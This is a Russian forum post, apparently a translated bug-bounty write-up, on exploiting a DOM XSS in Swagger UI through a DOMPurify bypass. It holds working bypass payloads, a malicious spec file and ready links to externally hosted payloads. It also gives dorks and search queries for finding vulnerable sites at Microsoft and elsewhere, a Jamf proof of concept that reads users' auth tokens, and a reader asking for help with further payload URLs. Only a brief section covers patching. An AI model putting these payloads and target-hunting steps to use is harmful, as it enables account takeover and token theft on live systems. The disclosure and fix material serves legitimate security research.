• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Взлом Swagger-UI — от XSS до захвата аккаунтов

вавилонец

CPU register
Пользователь
Регистрация
17.06.2021
Сообщения
1 116
Реакции
1 265
Swagger UI — это действительно распространенная библиотека, используемая для отображения спецификаций API в красивом пользовательском интерфейсе, используемом почти каждой компанией. Я много раз натыкался на него, проводя разведку по целям вознаграждения за обнаружение ошибок, и решил поближе познакомиться с ним в ноябре 2020 года. На Twitch я транслировал процесс просмотра и поиска ошибок в библиотеке, но я нашел финальную полезную нагрузку после стрима. Ошибка, которую я нашел, была DOM XSS, и оказалось, что уязвимых экземпляров было много.

Уязвимость была исправлена в начале 2021 года. Однако мне все же удалось использовать ее во многих компаниях, таких как Paypal, Atlassian, Microsoft, GitLab, Yahoo и многих других.

С тех пор мы сообщили о более чем 60 случаях этой ошибки в различных программах вознаграждения за обнаружение ошибок, и у нас все еще есть еще 200 ошибок в невыполненной работе, о которых нужно сообщить. Версии пользовательского интерфейса Swagger, затронутые XSS: >= 3.14.1 < 3.38.0


История уязвимостей XSS в пользовательском интерфейсе Swagger​

Пользовательский интерфейс Swagger имеет заметную историю ошибок — несколько XSS, но, к сожалению, все они требовали взаимодействия с пользователем. Жертва должна была скопировать URL-адрес в файл YAML и вставить его в пользовательский интерфейс Swagger, чтобы полезная нагрузка сработала.

Список XSS в пользовательском интерфейсе Swagger ( уязвимости Snyk — swagger-ui ):

1653282940839.png



Где ошибка и как она работает​

Основная причина DOM XSS, которую я нашел, довольно проста — устаревшая библиотека DomPurify(он используется для очистки ввода) в сочетании с функциями библиотеки позволили мне получить DOM XSS, который контролировался из параметров запроса. Эксплуатация была не такой простой, и некоторые ограничения вынудили меня найти собственный вариант обхода для версий DomPurify, используемых пользовательским интерфейсом Swagger.

Как пользовательский интерфейс Swagger отображает спецификацию API​

Давайте начнем с самого начала — в пользовательском интерфейсе Swagger есть интересная функция, которая позволяет указать URL-адрес спецификации API — файл yaml или json, который будет загружен и показан пользователю. Для этого вам нужно добавить параметр запроса ?url=https://your_api_spec/spec.yaml или ? configUrl=https://your_api_spec/file.json.

Пример yaml спецификации выглядит так:

Код с оформлением (BB-коды):
swagger: '2.0'
info:
  title: Example yaml.spec
  description: This is an example text **HELLO FROM MARKDOWN**
paths:
  /accounts:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - accounts
      operationId: findAccounts
      summary: Finds all accounts

Пользовательский интерфейс Swagger возьмет вашу конфигурацию (JSON) или спецификацию API (YAML), извлечет ее, а затем отобразит. Он также будет анализировать любое поле описания из спецификации API как уценку. Давайте посмотрим на код и увидим, как это делается — вот вспомогательная функция, которая используется для рендеринга Markdown в пользовательском интерфейсе Swagger:

Код с оформлением (BB-коды):
// src/components/providers/markdown.jsx

function Markdown({ source, className = "", getConfigs }) {
  ... omitted ...

  const md = new Remarkable({
    html: true,
    typographer: true,
    breaks: true,
    linkTarget: "_blank"
  }).use(linkify)

  md.core.ruler.disable(["replacements", "smartquotes"])

  const { useUnsafeMarkdown } = getConfigs()
  const html = md.render(source)
  const sanitized = sanitizer(html, { useUnsafeMarkdown })

  if (!source || !html || !sanitized) {
    return null
  }

  return (
    <div className={cx(className, "markdown")} dangerouslySetInnerHTML={{ __html: sanitized }}></div>
  )
}

Первая очевидная вещь заключается в том, что если мы сможем обойти sanitizer(html), у нас будет очень простой DOM XSS благодаря dangerouslySetInnerHTML. React просто отобразит ЛЮБОЙ HTML и позволит нам выполнить полезную нагрузку JS.

… но мы должны обойти sanitizer

Код с оформлением (BB-коды):
function sanitizer(str, { useUnsafeMarkdown = false } = {}) {
  const ALLOW_DATA_ATTR = useUnsafeMarkdown
  const FORBID_ATTR = useUnsafeMarkdown ? [] : ["style", "class"]
  ...
  return DomPurify.sanitize(str, {
    ADD_ATTR: ["target"],
    FORBID_TAGS: ["style"],
    ALLOW_DATA_ATTR,
    FORBID_ATTR,
  })
}
:

Сама функция будет работать при условии strс DomPurifyс дополнительной конфигурацией, явно запрещающей <style> теги. (Это будет важно позже)

Поиск правильного обхода для DomPurify​

Версия пользовательского интерфейса Swagger, которую я использовал в то время, была 3.37.2 и он использовал DomPurifyверсия 2.2.2.
Самый простой способ найти обходные пути для DomPurifyэто ->> https://github.com/cure53/DOMPurify/releases/и поиск слова bypassили mXSS в более новых версиях. В нашем случае имеется 2.2.3 версия с известными обходами.

1653285004598.png


Теперь нам нужно найти полезную нагрузку, которая использовалась для обхода sanitizer — для этого мы заглянем в файл test/fixtures/expect.jsв DomPurify репозитория, содержащий тестовые примеры. Мы можем просмотреть коммиты файла и найти версию, связанную с тегом. 2.2.3:

1653285154006.png



ПрЭлЭстно!! У нас есть полезная нагрузка, которую мы можем использовать для запуска XSS в пользовательском интерфейсе Swagger, верно? Еще нет, есть еще одно ограничение.

Код с оформлением (BB-коды):
<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><a title="</style><img src='#' onerror='alert(1)'>">

Полезная нагрузка использует <style>тег для обхода, но в нашем случае это явно запрещено . :(

Мы должны это исправить!

Найдем кастомный вариант обхода​

Нам нужна полезная нагрузка, которая будет обходить DomPurify санитарная обработка, но не может содержать тэг <style> . Самый простой способ сделать это — найти другой тег HTML, который будет действовать так же, как <style> в обход.

Когда мы помещаем эту полезную нагрузку в DomPurify и визуализируем очищенную строку, у нас будет структура DOM:


1653285573850.png


Из рисунка видно, что успешная эксплуатация приведет к тому, что DOM будет содержать <img> с onerror=alert(1). Наш план тестирования для поиска варианта обхода, который не использует <style> будет:

Для каждого элемента HTML:

  1. Заменять <style> элемент полезной нагрузки с элементом HTML
  2. Очистите эту новую полезную нагрузку с помощью DomPurify
  3. Отобразите очищенную строку и проверьте, содержит ли она <imgтег с onerror=alert(1)
Вы можете найти код JS тутЪ.

Код с оформлением (BB-коды):
const allElements = [
    ... // list of all known HTML elements
];

// payload that we are testing
const payload = `<math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><style><a title="</style><img src='#' onerror='alert(1)'>">`;

const domParser = new DOMParser();

// iterate on each HTML element
allElements.forEach(element => {
    let newPayload = payload.replace("<style>", `<${element}>`).replace("</style>", `</${element}>`);

    // DOMPurify with the same config as in Swagger UI (and the same version)
    const sanitized = DOMPurify.sanitize(newPayload, {
        ADD_ATTR: ["target"],
        FORBID_TAGS: ["style"]
    });

    const parsedDOM = domParser.parseFromString(sanitized, 'text/html');

    parsedDOM.querySelectorAll(`img`).forEach(img => {
        // only bypass will have onerror handler
        if(img.attributes["onerror"]) {
            console.log(`Found bypass: ${element}`);
        }
    });
});

Когда мы выполним код JS, мы найдем два попадания:

1653285911953.png


<textarea> а также <title> будет вести себя так же, как <style> в DomPurify обход и позволит нам пройти DomPurify.

Окончательный обход будет:

Код с оформлением (BB-коды):
 <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(1)'>">

Эксплойт​

Окончательно!! Мы можем собрать все вместе и использовать alert(1). Нам просто нужно создать файл спецификации с полезной нагрузкой, разместить его где-нибудь и найти экземпляры пользовательского интерфейса Swagger для использования!

:money_mouth:

Пример спецификации с байпасом для DomPurify версия 2.2.3:

Код с оформлением (BB-коды):
swagger: '2.0'
info:
  title: Example yaml.spec
  description: |
    <math><mtext><option><FAKEFAKE><option></option><mglyph><svg><mtext><textarea><a title="</textarea><img src='#' onerror='alert(window.origin)'>">
paths:
  /accounts:
    get:
      responses:
        '200':
          description: No response was specified
      tags:
        - accounts
      operationId: findAccounts
      summary: Finds all accounts

Если вы ленивы​

Вы можете просто добавить этот параметр к URL-адресу Swagger и посмотреть, появляется ли alert:

Код:
 ?configUrl=https://jumpy-floor.surge.sh/test.json

Иногда полезная нагрузка не будет работать, поэтому проверьте это:

Код:
 ?url=https://jumpy-floor.surge.sh/test.yaml

Как найти пользовательский интерфейс Swagger?​

Есть два основных способа поиска пользовательского интерфейса Swagger:

  • Google доркинг
  • Шаблон ядер
  • НПМ

Google доркинг​

Начнем с Гугла — самый простой подход.

Дорк : intext:"Swagger UI" intitle:"Swagger UI" site:yourarget.com (дорк дает несколько ложных срабатываний, но этого достаточно)

Пример :
1653287088657.png


За *.microsoft.com существует ~ 88 проиндексированных пользовательских интерфейсов Swagger . К сожалению, не все из них находятся в диапазоне версий, которые можно использовать, и, вероятно, некоторые из них являются ложными срабатываниями.

💡
Примечание о награде

По нашему опыту, Microsoft в основном будет платить за XSS в поддоменах более высокого уровня. Они предпочли бы: xxx.microsoft.com над yyy.xxx.microsoft.com, так что если вы получили XSS на любом из этих хостов - сообщите об этом и заработайте!

Шаблон ядер​

Самый удобный метод, имеющий практически нулевые ложные срабатывания. Я лично использую шаблон.

💡
Этот шаблон представляет собой компромисс между быстрым и поиском всех интерфейсов Swagger.


1653287318052.png


NPM​

Другой способ найти пользовательский интерфейс Swagger — использовать поиск GitHub или GitLab. Есть много проектов, которые будут использовать более старую версию Swagger и, вероятно, будут уязвимы для XSS. Пакет NPM swagger-ui-dist это просто связанная версия пользовательского интерфейса Swagger.

Я рекомендую получить доступ к новому поиску Github, потому что он имеет гораздо лучшие возможности поиска, чем старый поиск. (но он может возвращать намного меньше результатов, чем старый поиск)

Запросите новый GitHub, чтобы найти уязвимые интерфейсы Swagger:

Код:
  /swagger-ui-dist": "3.[1-3]/ path:*/package.json

Запрос будет искать swagger-ui-dist в файле package.json и проверит, находится ли версия между >=3.14.1 < 3.38.0.

Полученные результаты:
1653287532049.png


Исправление​

Вы нашли уязвимый Swagger UIверсии в вашей организации, что теперь?
Это просто, просто обновите до последней версии ^4.13.0 Проверьте npm-update для получения дополнительной информации.
Что делать, если вы не можете обновить весь Swagger UI? Вы можете обновить только dompurify пакет, который используется Swagger UI.

Примеры эксплуатации в программах Bug Bounty​

Мы сообщили о 60 ошибках в различных программах поиска ошибок, если вам интересно узнать, как мы сообщали об этом, ознакомьтесь с отчетами.
Jamf (захват учетной записи)
Эта уязвимость распространена во многих различных системах, мы нашли ее даже в Jamf, но что такое Jamf?

Jamf Pro — это комплексное программное обеспечение для управления предприятием для платформы Apple, упрощающее управление ИТ для Mac, iPad, iPhone и Apple TV.
Он используется крупными организациями для управления своими устройствами Apple. Я обнаружил, что локальная версия «Jamf Pro» предоставляет пользовательский интерфейс Swagger на том же хосте, что и панель администратора. Jamf обычно работает на портах 443или 8443а пользовательский интерфейс Swagger можно найти по адресу /classicapi/doc/, но полезная нагрузка для этого немного отличается.

То configUrlпо какой-то причине не мог быть простым URL-адресом, мы должны были указать его так:
Код:
 ?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9leHViZXJhbnQtaWNlLnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

Угон учетной записи - Jamf Pro хранит токен аутентификации в локальном хранилище под authToken key. POC ниже будет распечатан authTokenиз локального хранилища:

Код с оформлением (BB-коды):
  https://VULNERABLE_JAMF/classicapi/doc/?configUrl=data:text/html;base64,ewoidXJsIjoiaHR0cHM6Ly9zdGFuZGluZy1zYWx0LnN1cmdlLnNoL3Rlc3QueWFtbCIKfQ==

Отчеты об ошибках:

https://hackerone.com/reports/1350549 (Paypal)

https://hackerone.com/reports/1444682 (Shopify)

Отчеты еще не раскрыты, мы сообщим вам в нашем информационном бюллетене , когда это произойдет.

Gitlab — хранит XSS в репозитории​

Gitlab — интересный случай, поскольку он использует пользовательский интерфейс Swagger для отображения файлов спецификации Swagger в репозитории. Итак, если у вас есть файл с именем swagger.json в репозитории на Gitlab он попытается разобрать его и отрендерить, используя swagger-ui-dist.

1653288265947.png


У GitLab был CSP, который не позволял мне использовать обработчики событий — <img onerror=alert(window.origin) src=1> был заблокирован. Gitlab хорош тем, что они раскрывают все свои проблемы с безопасностью, поэтому я просто искал XSS и скопировал оттуда обход CSP ;) (не забывайте работать умно, а не усердно)
Наконец, я заставил все это работать и мог украсть токен любого пользователя, если он нажмет на мой репозиторий.

Отчеты об ошибках

https://hackerone.com/reports/1072868 (Gitlab)

Отчет еще не раскрыт, мы сообщим вам в нашем информационном бюллетене , когда это произойдет

Переведено суперБлог. Спасибо за прочтение.
 
Very nice article man! Do you perhaps know how to bypass "Fetch errorPossible cross-origin (CORS) issue?"
One way would be to upload the yaml file to the same server but that's difficult to do.

Edit:
I did find a server that works with the url you've provided, very nice!
But somehow when I remake the exact same url it doesn't work.
Can you perhaps check why this isn't working?

Not working url:
?configUrl=https://default_fun.surge.sh/default_fun.json

Working url:
?configUrl=https://jumpy-floor.surge.sh/test.json
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх